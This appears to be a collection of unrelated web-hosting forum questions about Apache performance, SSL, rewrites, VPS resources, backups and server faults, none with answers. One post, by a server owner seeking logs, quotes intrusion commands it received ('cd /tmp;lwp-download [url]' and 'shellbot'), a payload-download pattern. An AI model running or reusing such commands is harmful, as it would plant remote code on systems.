Apache Hogs The System
Mar 25, 2008
Getting the following in my log
Quote:
apache 1994 0.0 0.0 2776 1020 ? S 15:02 0:00 sh -c /usr/bin/identify -format %w###%h###%m###%n###%r###%z "/tmp/php
apache 1995 23.3 0.0 0 0 ? D 15:02 1:03 [identify]
This is a good case.. normally though it is like this:
Quote:
apache 2864 0.0 0.0 3064 1020 ? S 15:08 0:00 sh -c /usr/bin/identify -format %w###%h###%m###%n###%r###%z "/tmp/php
apache 2865 39.8 0.3 19944 12612 ? D 15:08 0:26 /usr/bin/identify -format %w###%h###%m###%n###%r###%z /tmp/php0SNeMT
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Sep 22, 2009
I currently own several servers: let's say sites on 3 of those servers rely on a website that sits on server 4
If server 4 goes offline, then servers 1 2 and 3 suffer a lack of usability.
The website on server 4 is very small and fast, but receives several hundred thousand visits a day
I figured it would be a good idea to replicate that website on each of my servers, but I'm unsure about how to set up a good redundancy system..
Using several nameservers doesn't work as expected (visitors are randomly sent to one of the nameservers, in no particular order)
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Oct 6, 2013
I have to create a structure in which there is a client, a server and an authentication authority.
The authentication authority verifies the identity of both the client and server before they can communicate, so that the client can access the content offered by the server. Everything must be made using HTTP with SSL (HTTPS).
For now I have installed xampp on my pc with ubuntu, I performed the initial configuration and was able to view a test page locally hosted by entering the URL of the virtual server "www.server.it" (added to the configuration of apache2).
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Mar 13, 2015
Apache2.4.6
apr-1.4.8
openssl-1.0.1c
arm-linux-gcc4.4.4
Recently I cross compiled Apache2.4.6 to run in my ARM cpu, and I found that http can work well if only it's own port such as 80 is listened, but if add one more port to be listened in conf file, http fails. That means http is good, but after https is on, http stop working and https is good. At the same time, I built the same apache2.4.6 in X86 gcc4.6.1, http and https can both work well. In addition, I also tried apache1.3.33 in the same ARM system, http and https can work well too. It seems like that in apache2.4.6, http can't work well if there is one more port listened in ARM system. Actually http port is listening and is established when using netstat to monitor it.
root@freescale /usr/local/apache/bin$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 :::www :::* LISTEN
tcp 0 0 :::443 :::* LISTEN
tcp 0 0 (null):www (null):3705 ESTABLISHED
tcp 0 0 (null):443 (null):3720 ESTABLISHED
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Aug 29, 2007
i tried recompile Apache to install
--curl
--curl ssl
--mcrypt
by running /scripts/easyapache
then i get the error below. Can anyone help me out? i really dont know what todo here.
Checking Update System........Your operating system's rpm update method (yum) was not able to locate the glibc package. This is an indication of an improper set up. You must correct this error before you can proceed.
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Feb 15, 2013
I have a website on a linux-server working fine with PHP/Apache. The page loads a lot of css/js/image-stuff (total 84 requests, 220k), it takes about 4 secs to load via internet.
Now I'm testing the same page locally on a Win7-64-system (Apache 2.2, PHP 5.4). The system is not very slow (8 GB RAM, SSD, i7-CPU), but loading the same page as above takes about 50 secs.
The Q is: What might be the problem?
- I turned off firewall and anti-virus.
- I used mod_status: 150 threads, max. 11 seems to be used during the loading of the page.
- I tried php5apache2_2.dll with TS-PHP 5.4 and mod_fcgid.so with NTS-PHP 5.4, but the loading-time kept almost the same.
Looking at the "network-tab" in FF or Chrome, I found that a lot of subqueries get a timing like this:
Blocking: 11.96 s
Sending: 0
Waiting: 1 ms
Receiving: 6ms
So the loss of time seem to be in the "blocking"-section. I first thought of something like "limited number of TCP-Connections", but as said above, on the same system the page is remotly loaded fast enough almost without these "blocking"-parts.
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Dec 12, 2013
Two projects:
proj: site.loc
proj2.0: newsite.loc
They are located in different places on the file system. And i need to redirect from one project to another internally, so url for site.loc is preserved.
E.g. requesting site.loc/hey/there i need apache to serve files form proj2.0.
First, i know that on the .htaccess level we cannot use RewriteRule to file-system path (for security reasons).
Okay, an Alias is a workaround. Say I add an Alias to virtual host as following:
Code: Alias /newsite /some/path/to/proj2.0
Then if i'll add the rule to proj's .htaccess:
Code: RewriteRule ^hey/there /newsite
This will work.
But, the webroot does not work:
Code: RewriteRule ^$ /newsite
Is it i'm doing something wrong or there is some quirk about the webroot?
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Jul 23, 2008
I have a few different types of servers, all of which came with their own KVMoIP setup, aka DRAC and iLO which have worked only so so since their deployment. The HP iLO has performed absolutely flawlessly but the DRAC on the other hand has been nothing less than a complete nightmare.
I'm looking for a KVM over IP system that we can connect to multiple servers, mainly Dell, that is 100% reliable and completely stable. Not something that will be giving Java errors randomly when you actually need it to work.
So far I've came across the Raritan Dominion KX II which looks pretty promising. Is there any other KVM over IP systems or manufactures that I should look into? Has anyone used this and can you comment about its reliability?
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Aug 11, 2008
Recently, my server has been running real slow and I don't know why... I've not noticed any increase in traffic (In fact it goes slow with no traffic on it...), what are some things I can look at to try and diagnose the problem? I know next to nothing about *nix so please speak in great detail.
Anytime I restart Apache, it loads quick for a few seconds then gets slow again...
Here are the top few processes listed on the process manager: .....
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Jul 22, 2008
I have a VPS acct with Plesk, am peaking out my system ram at 128mb. Host said to allocate ,ore = purchase more. What I would like to do is hunt down where I am using the most of it. I have 8 sites (non that are too big). Most of them are wordpress sites.
Would caching help? Not sure where to look to find this out.
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Dec 27, 2007
Is there any billing software/scripts that enable customer to view their invoice without login?
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Aug 6, 2007
Is there anything like System cleaning in VPS (Linux with apache) ? I need to do system cleaning so that my space and performance can increase.
Is there anything like that in Linux?
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Mar 21, 2007
Ive been getting the following System Warning every hour since I set the server up 5 days ago and Google hasn't been a lot of help in tracking down what it means and if I should be concerned. Im hoping someone here can point me in the right direction. Im running Windows 2003 Web Edition.
Quote:
Event Type:Warning
Event Source:LSASRV
Event Category:SPNEGO (Negotiator)
Event ID:40960
Date:3/20/2007
Time:7:45:33 PM
User:N/A
Computer:B02S08MR
Description:
The Security System detected an authentication error for the server DNS/ns.ufcom.com. The failure code from authentication protocol Kerberos was "There are currently no logon servers available to service the logon request.
(0xc000005e)".
For more information, see Help and Support Center at
[url]
Data:
0000: 5e 00 00 c0
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Jul 26, 2007
I keep receiving hacking attempts from someone accessing my server and running commands like these:
Code:
hubberfix
sh -c cd /tmp;lwp-download [url]
shellbot
I cannot find any logs with these attempts. Or at least any with info like an IP address or host doing this.
Not to sound like a noob, but where can I find logs that would tell me all the commands run on my system? FYI, I'm running Debian Sarge, and I looked in "/var/log" and I can't find much of anything.
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Feb 18, 2007
There's bloody heaps of them. Which one do I go for on my two new file servers? Which operating system out of these is the most common, has the most support, is most compatible? The server will be used to host videos and will run c-panel. A light weight OS is probably preferred but I really have no idea. And incase it helps, the servers have 512mb of ram, about 30 - 40GB of hDD (not actually sure) and an old AMD Duron.
CentOS
Debian
Direct Admin
Fedora
FreeBSD
Gentoo LiveCD
Redhat
Slackware
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Aug 26, 2007
I just spent over 10 hours on my node configuration (debian etch). I have installed a lot of stuff, made raid1 array, control panel, some tools, rules etc etc etc.
I dont want to see that some day something crash - and I will must start over with everything.
What you guys suggest as backup method, maybe some how-to backup WHOLE system with all files, raid configuration etc.
I dont need incremental backups at all - I just want to save/backup current system, and maybe restore if something bad would happen.
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Jul 12, 2007
which of these operational systems is the best one for one vps?CentOS 4 (32bit)
CentOS 4 (64bit)
CentOS 5 (32bit)
Fedora Core 3 (32 bit)
Fedora Core 4 (32 bit)
Fedora Core 5 (32bit)
Debian Sarge 3 (32bit)
Gentoo 3 (32 bit)
Opensuse 10 (32 bit)
Suse 9 (64 bit)
Ubuntu 6 (32bit)
Windows 2003 Std
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Jan 3, 2007
I am planning to start linux hosting but don't have much knowledge about linux Operating system... can I do this without having sufficient knowledge of linux background?
Also please suggest me some good links from where I can get basic linux command and some kind of flash tutorials from which I get to know how to do work in Appache and dns etc.
how to download tar file using Terminal,
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Aug 2, 2009
I have a dedicated server running Linux CentsOS.
The default setup of my file system is:
/dev/sda1 450GB
tmpfs 2GB
/usr/tmpDSK 485 MB
My Disk size is 500GB
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Jul 14, 2009
I have VPS having whm/cpanel base, i also install RT ticket system, it install successfully, same way i did on 5 other server its ok, but on VPS due to apache different configuration it gives me.
You haven't yet configured your webserver to run RT. You appear to have installed RT's web interface correctly, but haven't yet configured your web server to "run" the RT server which powers the web interface. The next step is to edit your webserver's configuration file to instruct it to use RT's mod_perl, FastCGI or SpeedyCGI handler.
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Aug 14, 2008
Does someone know a good article for secure a virtuozzo node/host server?
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Feb 24, 2009
I wondered which Content Management System (CMS) is the best for a website? I read that there are many to choose from, examples are Wordpress, Drupal, Joomla etc. Which CMS is more SEO Optimised?
Th website I will be setting up will be of the same genre as the following website startutor.sg. Therefore, I am wondering what CMS to use.
I thought of designing the website using AI or PSD and asked someone to code them (not sure of the terminology used) for me as I don't know anything about CSS, HTML etc.
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May 12, 2009
One of our server's system clock seems to gradually creep away from the correct time. It has been causing us a lot of issues. After one day it becomes more than one hour off. After each minute it becomes a few seconds off.
Any ideas what could be causing this? It's uptime is ~2 months so it doesn't happen when it goes offline, it happens while it is running.
Right now we have a cronjob running ntpdate every few minutes as even with the ntpd service running it would end up off by several minutes when we would check. I have a feeling this isn't a very reliable fix though.
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Jun 11, 2009
I have brand new server with CentOS 5.3 and latest CentOS kernel (2.6.18-128.1.10.el5PAE).
I have brand new HDDs with no errors (HDDs have only 1000 power-on-hours, server CPU temperature is normal - between 35-42 C). My server went read-only without any reason. I need to fsck main / partition (/home is separated) and it cleaned journal, then server became online.
After 2 weeks it happens again - I did again fsck on / partition and it recovered journal as before. I decided to ask Data Center to replace RAID-1 card and memory - they did it. After 3 weeks server went read-only again.
I ssh into server and saw that kswapd0 process is using 100% cpu and load is over 170.
After fsck it recovered journal on / and server is again available.
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Jan 14, 2009
I am trying to write a perl script, it send's mail to a user i used system(mail -s test) and also send some messages using this.
but my issue is i receive mail with html code like <br> and so..
how to get a plain mail using this system command.
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Feb 6, 2009
is there anybody knows which ticket system does the Hostgator use? Or that is theirs unique system?
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Mar 29, 2009
I had a linux server (CentOs 5, mysql5, php5, directadmin). I had problems with apache few days ago, that's why i hire sys. admin who tweak the system (install the PAE kernel), and some more configurations, and during last 7-8 days server work w/o any downtime (before this server had 1-2 downtimes per day-> OOM killer.)
Now i had only ssh access (emails, directadmin access - give "wrong password" answer). As told my sys.admin It became read only system.
I cann't even reboot system
Quote:
[root@server sa]# reboot
reboot: /usr/local/lib/libpng12.so.0: no version information available (required by /usr/lib/libcairo.so.2)
such few commands work, the most commands that i know don't work
Quote:
[root@server ~]# ls -la
ls: error while loading shared libraries: libacl.so.1: cannot open shared object file: No such file or directory
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Aug 21, 2008
I have a shared host with them for a few months which the disk usage for home/backup is usually around 85-95%. Right now I am experiencing very slow download speed. What about yours?
Server Load 2.92 (8 cpus)
Memory Used 42.6 %
Swap Used 0.01 %
Disk /dev/sdc1 (/home) 91 %
Disk /dev/sdd1 (/backup) 90 %
Disk /dev/sde1 (/backup/cpbackup/weekly) 43 %
Disk /dev/ram0 (/ramdisk) 24 %
Disk /dev/sdb1 (/) 22 %
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